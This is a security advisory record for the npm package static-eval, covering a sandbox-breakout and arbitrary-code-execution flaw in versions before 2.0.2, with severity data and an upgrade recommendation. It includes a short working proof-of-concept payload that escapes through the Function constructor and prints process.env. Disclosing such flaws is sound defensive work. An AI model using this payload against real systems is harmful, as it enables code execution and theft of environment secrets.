GHSA-x9hc-rw35-f44h

Source

https://github.com/advisories/GHSA-x9hc-rw35-f44h

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-x9hc-rw35-f44h/GHSA-x9hc-rw35-f44h.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-x9hc-rw35-f44h

Published

2020-09-02T15:46:03Z

Modified

2021-09-27T13:40:52Z

Severity

7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L CVSS Calculator

Summary

Sandbox Breakout / Arbitrary Code Execution in static-eval

Details

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Database specific

{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2020-08-31T18:34:42Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}

References

Affected packages

npm / static-eval

Package

Name: static-eval; View open source insights on deps.dev
Purl: pkg:npm/static-eval

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

2.0.2

Database specific

last_known_affected_version_range

"<= 2.0.1"

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2020/09/GHSA-x9hc-rw35-f44h/GHSA-x9hc-rw35-f44h.json"